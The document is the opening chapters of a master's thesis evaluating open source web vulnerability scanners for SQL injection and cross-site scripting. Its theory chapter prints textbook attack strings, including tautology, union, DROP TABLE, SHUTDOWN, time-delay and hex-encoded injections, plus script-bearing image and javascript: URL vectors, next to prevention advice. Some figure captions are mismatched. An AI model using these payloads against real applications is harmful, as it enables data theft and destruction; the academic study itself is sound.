Evaluation of open source web vulnerability scanners and their techniques used to find SQL injection and cross-site scripting vulnerabilities

Evaluering av öppen källkod sårbarhetsskannrar för webbapplikationer och dess tekniker för att finna SQL injection och cross-site scripting sårheter

Erik Matti

Supervisor : Rouhollah Mahfouzi
Examiner : Ahmed Rezine

External supervisor : Villiam Rydfalk
Upphovsrätt

Detta dokument hålls tillgängligt på Internet - eller dess framtida ersättare - under 25 år från publiceringsdatum under förutsättning att inga extraordinära omständigheter uppstår.

Tillgång till dokumentet innebär tillstånd för var och en att läsa, ladda ner, skriva ut enstaka kopi­rior för enskilt bruk och att använda det oförändrat för ickekommersiell forskning och för undervisning. Överföring av upphovsrätten vid en senare tidpunkt kan inte upphäva detta tillstånd. All annan användning av dokumentet kräver upphovsmannens medgivande. För att garantera äktheten, säkerheten och tillgängligheten finns lösningar av teknisk och administrativ art.

Upphovsmannens ideella rätt innefattar rätt att bli nämnd som upphovsman i den omfattning som god sed kräver vid användning av dokumentet på ovan beskrivna sätt samt skydd mot att dokumentet ändras eller presenteras i sådan form eller i sådant sammanhang som är kränkande för upphovsmannens litterära eller konstnärliga anseende eller egenart.

För ytterligare information om Linköping University Electronic Press se förlagets hemsida http://www.ep.liu.se/.

Copyright

The publishers will keep this document online on the Internet - or its possible replacement - for a period of 25 years starting from the date of publication barring exceptional circumstances.

The online availability of the document implies permanent permission for anyone to read, to download, or to print out single copies for his/hers own use and to use it unchanged for non-commercial research and educational purpose. Subsequent transfers of copyright cannot revoke this permission. All other uses of the document are conditional upon the consent of the copyright owner. The publisher has taken technical and administrative measures to assure authenticity, security and accessibility.

According to intellectual property law the author has the right to be mentioned when his/her work is accessed as described above and to be protected against infringement.

For additional information about the Linköping University Electronic Press and its procedures for publication and for assurance of document integrity, please refer to its www home page: http://www.ep.liu.se/.

© Erik Matti
Abstract

Both for its simplicity and efficiency to search for the most critical security vulnerabilities that could exist within a web application, a web vulnerability scanner is a popular tool among any company that develops a web application. With the existence of many different scanners that are available to use, one is unlikely the same as the other and the results attained when evaluating these scanners in relation to each other are often not the same. In this thesis, three different open source web vulnerability scanners are evaluated and analysed based on their ability to find SQL injection and cross-site scripting vulnerabilities. The scanners were used on several open source deliberately broken web applications that acted as benchmarks. The benchmarks that caused much diversity in the results from the scanners were further investigated. When analysing the scanners based on the results, both the actual results were analysed on what caused the diversity but most of all the source code of the scanners were explored and investigated. It could be found that the techniques used by the scanners were essentially similar but contained several minor differences that caused the diversity in the results. Most differences were dependant on the variation of the predefined payloads injected by the scanners, but it could also be found that the approaches used to determine if a vulnerability was detected or not could vary as well. The finalised result concluded in a report that reveals and demonstrates the different approaches that any web vulnerability scanner could use and the limitations of them.
Acknowledgments

I would like to thank my supervisor, Rouhollah Mahfouzi and my examiner, Ahmed Rezine for giving me constant feedback and staying with me throughout the development of my master thesis.

I would like to thank MindRoad for taking me in and letting me perform my thesis at their facility. Special thanks to my external supervisor, Villiam Rydfalk for helping me in times of trouble and always making sure that things are going forward. Shout-out to all the other employees at MindRoad as well for making this last journey at Linköpings University as fun as possible.
# Contents

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Abstract</td>
<td>iii</td>
</tr>
<tr>
<td>Acknowledgments</td>
<td>iv</td>
</tr>
<tr>
<td>Contents</td>
<td>v</td>
</tr>
<tr>
<td>List of Figures</td>
<td>vii</td>
</tr>
<tr>
<td>List of Tables</td>
<td>viii</td>
</tr>
<tr>
<td>1 Introduction</td>
<td>1</td>
</tr>
<tr>
<td>1.1 Motivation</td>
<td>1</td>
</tr>
<tr>
<td>1.2 Aim</td>
<td>2</td>
</tr>
<tr>
<td>1.3 Research questions</td>
<td>2</td>
</tr>
<tr>
<td>1.4 Delimitations</td>
<td>2</td>
</tr>
<tr>
<td>2 Theory</td>
<td>3</td>
</tr>
<tr>
<td>2.1 Web security</td>
<td>3</td>
</tr>
<tr>
<td>2.2 SQL injection</td>
<td>3</td>
</tr>
<tr>
<td>2.3 Cross-site scripting</td>
<td>7</td>
</tr>
<tr>
<td>2.4 Prevention techniques</td>
<td>11</td>
</tr>
<tr>
<td>2.5 Detection techniques</td>
<td>15</td>
</tr>
<tr>
<td>2.6 Web vulnerability scanners</td>
<td>16</td>
</tr>
<tr>
<td>2.7 Deliberately vulnerable web applications</td>
<td>19</td>
</tr>
<tr>
<td>2.8 Related work</td>
<td>20</td>
</tr>
<tr>
<td>3 Method</td>
<td>22</td>
</tr>
<tr>
<td>3.1 Literature study</td>
<td>22</td>
</tr>
<tr>
<td>3.2 Scanners selection</td>
<td>22</td>
</tr>
<tr>
<td>3.3 Benchmarks selection</td>
<td>23</td>
</tr>
<tr>
<td>3.4 Scanning the benchmarks</td>
<td>24</td>
</tr>
<tr>
<td>3.5 Analysing the results on the benchmarks</td>
<td>25</td>
</tr>
<tr>
<td>4 Results</td>
<td>26</td>
</tr>
<tr>
<td>4.1 WAVSEP</td>
<td>26</td>
</tr>
<tr>
<td>4.2 Bricks</td>
<td>26</td>
</tr>
<tr>
<td>4.3 Mutillidae</td>
<td>27</td>
</tr>
<tr>
<td>4.4 Security Shepherd</td>
<td>28</td>
</tr>
<tr>
<td>5 Discussion</td>
<td>29</td>
</tr>
<tr>
<td>5.1 Results</td>
<td>29</td>
</tr>
<tr>
<td>5.2 Method</td>
<td>34</td>
</tr>
<tr>
<td>5.3 The work in a wider context</td>
<td>35</td>
</tr>
</tbody>
</table>
List of Figures

2.1 Tautology-based attack ................................................................. 5
2.2 Logically incorrect query attack ....................................................... 5
2.3 Union query attack ................................................................. 5
2.4 Piggy-backed query attack ............................................................ 6
2.5 Stored procedure attack ............................................................ 6
2.6 Blind injection attack ............................................................... 6
2.7 Time-based injection attack .......................................................... 7
2.8 Alternate encoding attack .............................................................. 7
2.9 Structure of a reflected XSS attack .................................................. 9
2.10 Structure of a stored XSS attack ...................................................... 10
2.11 Structure of a DOM-based XSS attack ............................................. 11
2.12 Web Application Firewall ........................................................... 15
2.13 Workflow of a traditional crawler ................................................ 17
2.14 A comparison between a traditional web model and an AJAX web model .............................................................................. 20
2.15 A traditional form tag ............................................................... 21

3.1 Start page of OWASP Broken Web Applications .................................... 24
List of Tables

3.1 Table of open source scanners .................................................. 23
4.1 Reflected XSS vulnerabilities found in WAVSEP by the scanners .......... 27
4.2 SQLi vulnerabilities found in Bricks by the scanners .......................... 28
4.3 Vulnerabilities found in Mutillidae by the scanners ........................... 28
4.4 Vulnerabilities found by the scanners in Security Shepherd that uses AJAX .. 28
1 Introduction

In this section, both the motivation and the aim for the project will be presented along with the research questions and the delimitations.

1.1 Motivation

With the immense expansion of the internet for the past few decades, it has become more and more quintessential for companies to use the digital world for their business, from selling products on their websites to storing data in the cloud [16]. Most modern businesses nowadays have their own website that is universally available for customers, employees or just anyone from all over the world that has access to a browser and a connection to the internet. As of January 2021, about 59.5% of the world’s population are active internet users which equals to around 4.66 billion people [23]. This leads to all websites being widely exposed, something that usually is the intention of most companies, but this also leads to all and any security vulnerabilities being exposed as well.

The internet was never created with security in mind so hackers have always existed, but when the internet first came to life, the reason to hack any web application or computer system was at that time just for the fun of it, without any real advantages that would benefit the attacker in any way [22]. This changed however with the growth of digital economy and information stored in the cloud. Suddenly it became profitable for hackers to attack and try to access unauthorised data and administrator privileges. This has led to an increase of hackers worldwide but because of how large the reward can be for a successful attack; it has even become a whole business of its own which has led to the formation of organised crime with focus on cyberattacks. Web applications can contain countless of different vulnerabilities caused by simple mistakes or improper coding and all it takes is a single vulnerability to be present for a hacker to be successful. If it is either caused by a small mistake in a larger company or just ignorance from programmers in a smaller company, vulnerabilities will always occur.

There exist many types of security risks today that cause diverse issues if targeted. The Open Web Application Security Project (OWASP) is a nonprofit foundation that has listed the most common security risk as of 2017 [59]. Among these are SQL injection (SQLi) and cross-site scripting (XSS) which are two of the more known and dangerous security risks that exist today. With SQLi attacks you can modify and access stored information and with XSS attacks
1.2. Aim

You can execute malicious scripts e.g., scripts that could withdraw money from a victim’s bank account. To prevent or mitigate the risk of these and other vulnerabilities being present in a web application, there exist several methods to accomplish this. It could either consist of white box testing which is to go through the actual code of the web application manually or automatically in search for vulnerabilities. Alternatively, it could consist of black box testing where you do not have any knowledge about the code behind it and manually or automatically pass in unexpected data to the application while inspecting the returned values. One tool that uses black box testing is a web vulnerability scanner (WVS). By passing in the URL of the website, the scanner will then search the whole web application and perform common attacks in all places possible, finishing with a report of all of vulnerabilities found and the respective attack performed to find them.

Because the URL of the website is the only thing needed to perform a scan, a WVS is therefore effortless to use which makes it a powerful tool both for companies that does not know much about security or other companies that want to see if their website has any security holes. One issue however is that a WVS is not perfect and will often not find every vulnerability that exists, it might even present some vulnerabilities that do not exist. There exist many different WVSs that are available to download, scanners that are either commercial or open source. Some scanners try to find all kinds of vulnerabilities that are known to man while some focus on some specific few, with some being better at finding them than others. Because the results from scanner to scanner often differ, sometimes one scanner could be better at a certain area but worse at another, this must mean that they use different techniques to find these vulnerabilities. If that is the case, how and why do they differ from each other?

1.2. Aim

The goal of this project is to research and analyse the different approaches and techniques that WVSs use to detect and prevent SQLi and XSS vulnerabilities. Together with a literature study as well as an evaluation and analysis of a few WVSs, the aim is to get a solid understanding of the behaviour of a WVS. The expected result is valuable information about techniques and approaches WVSs use that could be applicable for anyone that wants to use, build, or improve a WVS.

1.3. Research questions

The research questions for this thesis are as follows:

1. How extensive are SQL injection and XSS attacks?
2. What approaches are there to detect and avoid SQL injections and XSS attacks?
3. How do established detection techniques for web vulnerability scanners behave on relevant benchmarks concerning SQL injection and XSS and what are the limitations?

1.4. Delimitations

Three WVSs will be evaluated. The number of benchmarks chosen to evaluate the scanners with will be based on the uniqueness of the different benchmarks as well as time constrains. Only open source tools will be used where the source code is to access, both for the WVSs and for the benchmarks. The report will focus primarily on the security of web applications and only about SQLi and XSS.
2 Theory

In this chapter, all relevant theory regarding this thesis will be brought up and discussed. The focus will lie on SQLi and XSS as well as the structure of a WVS. Related work will also be brought up and discussed towards the end of the chapter.

2.1 Web security

Web security is a type of branch within security that focuses on websites, web applications and different web services in general. Web security has its focus on the highest level in the internet protocol suite, the application layer [8]. At this layer, protocols such as File Transfer Protocol (FTP) or Internet Message Access Protocol (IMAP) take place, but most importantly is where the Hyper Text Transfer Protocol (HTTP) takes place which is the foundation of data communication for the World Wide Web (WWW), what any browser uses to send and retrieve data when visiting a web page. When sending an HTTP request, it is often a GET or a POST request that are used even though there are more types that exist. A GET request is often used when fetching data and a POST request is often used when sending data together with a payload that comes with it. Because these are the methods often used to pass data between the browser and the server of a web application, it is often through the modification of these that successful attacks occur if not validated correctly. Most modern web applications use HTTP Secure (HTTPS) which is an extension of HTTP that uses Transport Layer Security (TLS), which is the successor to Secure Socket Layer (SSL), to encrypt the data that is passed between the client and the server [57]. By encrypting the data, it protects against eavesdropping and any tampering of the data before it arrives at its destination. All HTTP requests mentioned in this report, whether they are secure or not, will be stated as HTTP requests for simplicity. However, because the data could be dangerous from the start when sent from the client, it does not give any protection from attacks such as SQLi or XSS.

2.2 SQL injection

SQLi is one of the more common attacks that exist today. According to OWASP latest top 10 list from 2017 [59], SQLi was regarded as the most crucial vulnerability together with other types of injection flaws. It has been on first place since 2013 and was on second place before
that since 2007 [58, 49]. With the very first documented SQLi attack occurring in December 1998 [18], it was not until the beginning of the 2000s that it started getting attention and from there has become the most crucial security issue for the last decade.

**How does SQLi work?**

Structured Query Language (SQL) is a common language used for persistent storing, manipulating and retrieving data stored in databases [15]. Usually you have a database management system (DBMS) such as MySQL [30] or PostgreSQL [40] that uses SQL to handle the data. The layout of a typical query in SQL can be seen as follows:

```
SELECT * FROM customers WHERE name='bob' AND password='1234'
```

The string `customers` is a table containing arbitrary data, e.g., the customer’s name, age and password. This query tries to retrieve all data stored from that table whose name and password is equal `bob` and `1234` respectively. If executed correctly, it will return the data for one specific customer who has that specific name and password. More advanced queries can be made but this is a typical example. A database usually contains sensitive data so it is critical that it cannot be abused by an attacker who might collect or modify the data without privileges to do so. For poorly written web applications that do not use any validation for the inputs, SQLi attacks can be performed easily. Let’s say a user is at a website and needs to write down both name and password in the two input fields to retrieve all data for that specific user. The name and the password would then be sent to the server where a query, such as the one above, is generated from those inputs and then executed. This would return all data from that table connected to the corresponding name and password, or return a message saying that the input was invalid. This is however how it is supposed to work, but without any proper validation made on the server-side, it does not stop you from sending in inputs other than what is expected. If unusual characters gets added to the query it would not make any sense and cast an error, but if instead actual SQL code is passed in then the whole query could be manipulated, creating possibilities to modify and retrieve data from the database freely without any privileges needed.

**Types of SQLi attacks**

SQLi consists of a wide range of attacks that takes advantage of different aspects of the structure of SQL queries and in this section the more common ones will be presented.

**Tautologies**

Tautology-based attacks have the goal to bypass authentication by injecting code to make an SQL command classify a condition as true without needing to manage the original condition [2]. For example, as seen in figure 2.1, the expected input is a name of a customer and a password. If executed correctly, it would return the data for that specific customer. However, by passing in SQL code such as `OR`, the condition of one equals one can be added to the query which always returns true. By finally commenting out the rest of the query using two hyphens, the rest of the query will be removed, making the input for the password redundant. By doing this, both the need to pass in a password will be bypassed as well as changing the query so that all customers in the table are returned and displayed in the browser.

**Logically Incorrect Queries**

This type of attack is used to achieve more knowledge about the database and the structure of it, making it a preliminary step to prepare for other SQLi attacks [17]. It takes advantage of the detailed error messages generated by a DBMS by default which can reveal sensitive
2.2. SQL injection

Figure 2.1: Tautology-based attack

![Query Example]

Expected: SELECT * FROM customers WHERE name='bob' AND password='1234'
Attack: SELECT * FROM customers WHERE name=' OR 1=1 -- AND password=

Figure 2.2: Logically incorrect query attack

Union Queries

Similar to the tautology-based attack, a union query attack is also about retrieving sensitive data by bypassing the authentication [17]. This is done by passing in the statement `UNION` which will let the user to generate an additional query, making it so that the returned dataset will be the union of the result from both queries. As shown in figure 2.2, this lets the attacker generate a new query which creates the possibility to retrieve information from other known tables as well.

![Query Example]

Expected: SELECT * FROM customers WHERE name='eve' AND password='4321'
Attack: SELECT * FROM customers WHERE name=' AND password=

Figure 2.3: Union query attack

Piggy-Backed Queries

A piggy-backed query attack is considered as one of the more harmful types of attacks because unlike the previously types of attacks shown, this enables the possibility to modify tables compared to just extract data from them [2]. This attack takes advantage of the fact that you can add subsequent queries to the original query by using a semicolon as a delimiter. By doing this, the first query will execute as normal and then the additional queries will be executed on top of that. What makes this type of attacks so harmful is because the additional queries added can be whatever the attacker wants. As seen in figure 2.3, the attacker decides to drop the table containing all data about the customers which simply enough deletes it and all its content.

![Query Example]

Expected: SELECT * FROM customers WHERE name='bob' AND password='1234'
Attack: SELECT * FROM customers WHERE name=' UNION SELECT * FROM employees WHERE name='karen' -- AND password=

Figure 2.4: Piggy-backed query attack

Stored Procedures

Stored procedure is a type of attack that takes advantage of stored procedures that are present in most DBMS. These stored procedures extend the functionality of a database that enables
2.2. SQL injection

the possibility to interact with the actual operating system. Most of today’s DBMS contain a standard set of stored procedures, making the attack more popular today than what it used to be [17]. As can be seen in figure 2.4, the attacker uses the piggy-backed approach to add an additional query. This query uses the `SHUTDOWN` procedure that simply results in the DBMS getting shut down.

```
Expected: SELECT * FROM customers WHERE name='eve' AND password='4321'
Attack: SELECT * FROM customers WHERE name=''; DROP TABLE customers --'
        AND password=''
```

Figure 2.4: Piggy-backed query attack

Inference attack

An inference attack is based on passing in data that generates a query which performs an action and based on the structure of the database, the result of that action will be different. It is an attack that is used to know more about the database when there are no, or inconsequential error messages returned [44]. There are two well-known techniques that this type of attack can be divided into, and those are called blind injection and time-based injection.

For a blind injection attack, the technique is based on generating a query that basically asks the server true or false questions as shown in figure 2.6. The goal of a blind injection is to find out if an input parameter is vulnerable or not. If the input is validated correctly and cannot be targeted by an SQLi attack, then both the first and second will get the same response saying it was bad input. The attacker would therefore know that this parameter is not vulnerable. However, in another scenario where the input is vulnerable to an attack, the result would be different. In the first attack, the server would return an error message because the query evaluates to false. The attacker would however not know if this message was returned because the server saw it as an invalid input or if it was because the query evaluated to false. Therefore the second attack is executed as well, because if the second attack does not lead to any error messages, the attacker would know that the query was successfully modified and therefore know that this input parameter is vulnerable for SQLi.

```
Expected: SELECT * FROM customers WHERE name='bob' AND password='1234'
Attack: SELECT * FROM customers WHERE name=''; SHUTDOWN; --' AND password='''
```

Figure 2.5: Stored procedure attack

For a time-based injection attack, the purpose is to gain information as well but instead by using commands that modify the timing delays on the messages returned [10]. An example can be seen in figure 2.7, the attacker uses the piggy-backed technique to create an additional query that asks if the user is a system administrator (sa) and if so, it should wait

```
Expected: SELECT * FROM customers WHERE name='eve' AND password='4321'
Attack 1: SELECT * FROM customers WHERE name='eve' AND 1=0 --' AND password='''
Attack 2: SELECT * FROM customers WHERE name='eve' AND 1=1 --' AND password='''
```

Figure 2.6: Blind injection attack

For a time-based injection attack, the purpose is to gain information as well but instead by using commands that modify the timing delays on the messages returned [10]. An example can be seen in figure 2.7, the attacker uses the piggy-backed technique to create an additional query that asks if the user is a system administrator (sa) and if so, it should wait
five seconds before sending back the response. Depending on what DBMS that is used, different commands such as `WAITFOR` or `sleep` can be used [46]. However, because a timing attack is based on delaying the returned data, it is much slower than other attacks when used frequently.

| Expected: | SELECT * FROM customers WHERE name="bob" AND password='1234' |
| Attack: | SELECT * FROM customers WHERE name=''; IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:05' --' AND password=' |

Figure 2.7: Time-based injection attack

**Alternate Encoding**

Alternate encoding is an approach that can be used together with other attacks to evade being detected as an attack. This is done by using alternate encoding such as ASCII, hexadecimal or Unicode instead of normal characters. By doing this, if the server has a filter that looks for characters that usually are used for attacks, it could be bypassed by sending them in with different encoding. In figure 2.8, an example can be seen where alternate encoding is combined with a stored procedures attack. In this case, `SHUTDOWN` is written in hexadecimal which later in the query is converted back to normal characters using the `char` command. The stored procedure could then be executed using the `exec` command [2].

| Expected: | SELECT * FROM customers WHERE name='eve' AND password='4321' |
| Attack: | SELECT * FROM customers WHERE name=''; exec(char(0x73687574646f776e)) --' AND password=' |

Figure 2.8: Alternate encoding attack

### 2.3 Cross-site scripting

XSS is also a typical type of attack that has been a problem within web security since the early 2000s [45]. In October 2005 the world’s first XSS worm named Samy appeared in the social network website MySpace, infecting more than one million users within only 20 hours. The result of the attack was only a displayed text on the victims profile saying **but most of all, samy is my hero**. This created large amount of awareness and was probably the reason why XSS was placed on first place on OWASP top 10 list in 2007 [49]. The year 2004 it was at fourth place [48] and in both years 2010 and 2013 it was in third place [58]. In the latest list from 2017 it was pushed back to a seventh place on the list, but nevertheless is still a critical security risk today. Unlike SQLi that focuses on SQL databases only, a XSS attack can be performed wherever data can be passed in that is not validated properly on the server side, which is what makes the attack so dangerous.

**How does XSS work?**

Similar to SQLi, XSS is also based on injecting code (usually JavaScript) instead of the expected input to make the application execute unintentional commands. Typically, you would send in a specific HTML tag such as `<script>`, followed by the code you want to be executed, finished by an end tag such as `</script>`. If this is passed in and eventually dis-
played on a browser, the browser could then interpret it as code which could create some unintentional behaviour.

Types of XSS attacks
There exist three different well-known types of XSS attacks which are called reflected, stored and DOM-based attacks.

Reflected XSS attack
The first one is called a reflected XSS attack, also known as a non-persistent XSS attack or a type-2 attack [5]. This is a server based attack that takes advantage of any vulnerable websites that return an error message or any other response containing some or all of the data that was sent to the server. Figure 2.9 shows an example of how a reflected XSS attack can be executed.

The attack starts with the attacker tricking the user to send an HTTP request by clicking on a link. This is usually done by sending the user an email containing this link and tricks the user in to clicking it. This link contains both a request to a vulnerable website but also contains malicious script as a part of it. When the user clicks the link, the request is sent to a server that does not provide any validation to the data sent with it. The server would then send a response containing the malicious script back to the browser of the user. The response could for example say: "Could not find anyone with name <malicious_script>". Because the browser cannot tell good from bad code, it would simply execute the malicious script. The reason it is also called a non-persistent attack is because the script passed in will be reflected and will not be saved anywhere on the server to be used again, it is not persistent. This is what differs from a stored attack.

Stored XSS attack
A stored XSS attack, also known as a persistent XSS attack or a type-1 attack [5], is the most dangerous type of the three, mainly because it does not just focus on one victim but several. Figure 2.10 shows an example of how a stored XSS attack can be executed. It takes advantage of a vulnerable website that saves the data passed in by the user to later be fetched and displayed in the browser. An example of this would be a page that displays other people’s comments. There, any user could submit a comment that is sent and stored on the server and when other users go to the same page, the server would retrieve all stored comments and display them on the browser of that user. If the server has poor validation, an attacker could send in malicious code instead of a simple comment. The script would be stored in the database of the server and every time a user loads the page, the script would be sent to the browser and because the browser sees it as code, it will be executed as normal.

DOM-based XSS attack
A DOM-based (Document Object Model) XSS attack, also known as a Type-0 XSS attack [43], is the more uncommon type of the three, and unlike the other two is client based instead of server based, meaning that the attacker looks for flaws in the client-side of the website instead of at the server-side. It has the same goal as the other two attacks, trying to get malicious code executed on the user’s browser but is here instead done by modifying the DOM environment directly without using the server, see figure 2.11. If the application uses some code in the URL to change what language to be displayed on the page, the URL for that page could for example be http://www.webpage.com/index.html?language=swedish to make the content in the page be displayed in Swedish. A DOM-based attack could be performed by putting a malicious script instead of a language in the URL, such as http://www.webpage.com/index.html?language=<malicious_code>. As before, the attacker
2.3. Cross-site scripting

Figure 2.9: Structure of a reflected XSS attack

would trick the user to click this link through an email or through other methods. By doing this, the browser would fetch the index.html page from the server. The browser would generate the DOM and the malicious script from the URL would be added to it to be displayed on the browser. The browser views it as executable code and executes it, completing the attack on the user.

Objectives when using XSS

With these three different approaches to perform a XSS attack, they can be used for specific malicious purposes and the most known ones will be described in this section.

Cookie hijacking

Cookie hijacking, also simply known as cookie stealing, is one of the most common uses for XSS where the goal is to steal a persistent cookie saved on the victims browser [14]. An exam-
2.3. Cross-site scripting

A user browses on a vulnerable website that includes shopping and uses cookies as well. The reason for why this creates a security issue from the start is because if the user types in her name, address, and credit card number among other sensitive information when shopping on the website, with a persistent cookie, that data could be saved by the server and will auto-fill the parameters the next time the user visits that website. By performing a XSS attack, a script could be executed that retrieves the cookie through code and sends that information to the attacker. The attacker could then use the same cookie when visiting the same website, with all the necessary information already filled in. Together with a stored XSS attack, an attacker could get hold of several cookies from all victims that visit that vulnerable website.

XSS phishing

Phishing is when an attacker tries to impersonate as a trustworthy entity to trick a user to type down sensitive data, such as password or credit card details [14]. This is something that can be executed together with XSS techniques since the attacker can manipulate the web page, adding some own content that will be displayed to the user. For example, the attacker...
2.4. Prevention techniques

could add a simple form on the web page with two input parameters and a submit button. The user could then be tricked to type in her username and password with the belief that it is needed to log in and presses the submit button. However, the button could be designed to send the data passed into another server where the attacker could save the sensitive data.

Other purposes

While the previously two mentioned uses of XSS are the most typical ones, there are many more possibilities that opens up with XSS. The attacker could add a script for a XSS keylogger that would register every key pressed on the victim’s keyboard and sent it back to the attacker. The attacker could pass in an inline frame `<iframe>`, which lets the attacker embed a whole new website inside of the current web page [4]. By giving it full size in both width and height, it could fool the user into thinking that this embedded website is the current one. As long as the malicious code passed in is somehow worthwhile for the attacker, the possibilities are endless with XSS attacks.

2.4 Prevention techniques

This chapter will go through the techniques used today to prevent these attacks from being able to happen in the first place. The main technique to prevent the attacks is of course to write proper and secure code. Unfortunately, this is easier said than done because humans make mistakes and to write perfectly secure code in all possible places is not easy in practice [17].
Prevention of SQLi attacks

In this section, the most common and modern techniques used to prevent SQLi attacks are described.

Input validation

The primary defence to prevent SQLi attacks is to validate the data that is passed in to the server. If the expected input is an id number, only numeric values should be able to pass through. It is important that this is applied to all requests that the server takes in, not only fields that allow users to type in arbitrary input themselves directly from the user interface. It is good practice to try to avoid blacklist validation, to focus on checking if the value is of expected type, instead of checking if it is a specific invalid value only.

Some misconception is that XSS attacks only can be made by using the script tag and encapsulate the code around it. This could lead the programmers to only using blacklist validation and just filter out every input that contains the word `</script>`. This is however not the case as there are many other ways to pass in code to execute without the script tag. One typical example is to write code inside an image tag `<img>`, where commands like `onerror` and `onmouseover` can be used to execute the code. One example is `<img src="" onmouseover="malicious_code"/>` and because the source of the image is not valid it will add a default image icon to the browser. If the user moves the mouse over the icon, the code will execute. Many more approaches can be found on the cheat sheet created by OWASP.

Parameterized queries

The second primary defence to prevent SQLi attacks is to use prepared statements with parameterized queries. An easy but bad way to create queries with desired inputs is to add them together as strings which could look like this:

```
"SELECT * FROM customers WHERE name=" + getName() + "AND password=" + getPass() 
```

This is what enables the possibility to change the query completely as shown in previous examples of SQLi attacks. What parameterized queries would do is to make sure that the input that will be added to the query only will be read as a string and nothing else. How this is done depends on the programming language and the DBMS that is used. Prepared statements are supported by most languages such as Java, PHP, Python, C# and Perl to mention a few.

Stored procedures

Stored procedures is just an alternative to parameterized queries that is used for the same purpose. The difference with a stored procedure is that the SQL code written for it is stored in the database itself and later called from the application when used. This approach might make more sense to use if the same query will be called in several places, it is recommended however to only use one of these two approaches and avoid mixing them for simplicity.

Escaping

If the previous described techniques are used then there would not be a need to escape user input, but if they are not possible to implement for some reason due to the structure of the system, to use escaping is a good last resort. This would ensure that if specific characters
was passed in that could alter the SQL query, those characters would be preceded by a backslash and thus escaping them, like \" to escape a quotation mark, making them part of the string and nothing more. This could be done manually by adding backslashes to every such character, but most languages have a function that does it for you. For example with the programming language PHP a function called `mysql_real_escape_string()` can be used to take in the user input which would return the same string but with escaped characters if there were any present to escape. Because mistakes can be made when escaping manually it is always recommended to use already existing functions for this.

**Prevention of XSS attacks**

As previously mentioned, SQLi attacks focuses primarily on SQL databases and therefore only works with inputs that are connected to a database. XSS attacks has the possibility to be successful wherever the validation is bad or non-existing. In this section the most common and modern techniques used to prevent XSS attacks are presented.

**Filter data on input**

Same as to prevent SQLi attacks, the first step is always to validate and filter the data passed in on the server side [13]. Always assume that the data passed in comes from an untrusted source and use whitelist validation to make sure that only expected values passes through. It is important to not only check that the input is of proper data type, but also the minimum and maximum length of the data. This is a beneficial measure to not only mitigate the risk for an attack, but also any risk for an error to occur due to values being too large or null. If a string is the data type expected to be passed in, then an attacker could still pass in some malicious code. That said, with perfect validation that would remove all dangerous characters that can be used for an attack, it would not be possible to perform an attack. However, this causes some issues. Sometimes the desired datatype is a URL, some HTML tags or other inputs that relies on containing special characters. That is why the following prevention technique is as important as well.

**Encode data**

The second prevention technique is to encode all data that are passed in and that will be put in specific contexts [13]. This means encoding all data that are put within context of HTML, JavaScript and CSS. This could be data that are placed between HTML tags such as `<div data</div>` or data that are passed in as attributes such as `<img src="data"/>`. This is a typical occurrence in a website where the server has saved the text the user passed in and want to display it back in the browser, like a website that displays comments other people have written. The data passed in should however never be trusted, and to prevent untrusted data from being able to switch into an execution context, the characters need to be encoded. This means replacing all special characters with a sequence of other characters that together represents the same character in the browsers but removes it from the execution context. There are three ways these characters can be encoded and modern browser supports them all. They are numeric hex, numeric decimal and entity encoding [41] and if they encoded the less-than-sign (<>), it would be converted to &lt; and &gt; respectively. There exists encoding for all special characters and is not something that should be implemented manually but should instead be handled with existing libraries or frameworks that support encoding.

Most of the modern frameworks like Angular, React and Vue are in fact safe from XSS attacks by default by encoding all values that are passed to the DOM. However, there are still ways to bypass the security mechanism with frameworks. One way could by using different methods or props provided by the frameworks themselves [13]. With React for example, instead of using `innerHTML={text}` to change the DOM of the browser,
2.4. Prevention techniques

dangerouslySetInnerHTML={text} could be used instead to remove any encoding of the input. This might be a solution if the developer wants the user to be able to add tags such as <b> or <i> around their text. There are also other places where the built-in security mechanisms does not prevent XSS attacks from happening and needs to be handled by the programmers herself. This could be if the user can pass in a URL to another web page that will be added to a href attribute, that is a typical place where an attacker could pass in javascript:alert("Hack") instead and would not be stopped by the frameworks own security mechanisms. With that said, it can still happen that developers make mistakes with the frameworks used or that no frameworks are used and are unaware of the consequences if coded improperly.

Enable the HttpOnly flag

Another good rule to follow is to always use the HttpOnly flag when applicable. As previously mentioned, one of the usual attacks that occur with XSS is cookie hijacking where the hacker can use JavaScript to retrieve the victim’s cookie and then use it to take over the user’s session. HttpOnly is an additional flag that can be added to an HTTP response header which establishes that the cookie can only be accessed with HTTP requests and not from a client-side script [20]. This is something that completely prevents cookie hijacking from being executed and should therefore always be used when applicable. Sometimes however, to enable the HttpOnly flag is not an option as you may want to be able to retrieve the cookie through the client-side.

Web Application Firewall

With the techniques above being the main techniques to prevent attacks by writing secure code, there exist another approach that does not rely on writing perfect code on the server-side, and that is to use a web application firewall (WAF). A WAF is a type of firewall that focuses on the application layer where it monitors, filters and blocks HTTP requests that are sent to and from a web application [28]. The firewalls main focus is to analyse all GET and POST requests and unlike any other proxy that usually is placed in front of the client to monitor the data to and from the browser, a WAF is placed in front of the server of the web application making it a so called reverse proxy, see figure 2.12. Just as any firewall, a WAF will contain a set of rules that will determine if a request is safe or not, making sure that every request that arrives at the server will be safe instead of the server needing to be able to handle all types of requests, good or bad. The code on the server side should still be written securely as if all requests are untrusted, but a WAF provides an extra element of security that also is more general for the whole application, often with focus on attacks such as SQLi and XSS attacks. When filtering the data passed to the WAF it can use two different approaches already described, whitelisting and blacklisting, and create a set of rules based on them. A WAF can also both approaches together. As said before it is always best to use whitelist validation because it is both less resource-intensive and more secure, but a downside of using whitelisting in a WAF is that because it is used for all or a set of all general requests to the browser, it could unintentionally block valid requests as well. Many WAFs first go through a training period when first implemented which means that the web application is tested with different types of input and from there automatically configure the security rules [11]. A WAF can also be manually configured but in that case it is important that it is by a security professional that has great knowledge about what is valid and invalid input.

There exist three types of web application firewalls that can be used. These are network-based WAF, host-based WAF and cloud-based WAF and all have different benefits and drawbacks. In conclusion, even though a WAF does not guarantee full security from XSS and SQLi attacks, it definitely offers additional security by stopping most erroneous requests before they reach the server which could be beneficial for larger web applications where boundless
amount of requests can be made. There are both commercial and open source WAFs available to use and are an important part of many enterprises [28].

![Web Application Firewall](image)

**Figure 2.12: Web Application Firewall**

### 2.5 Detection techniques

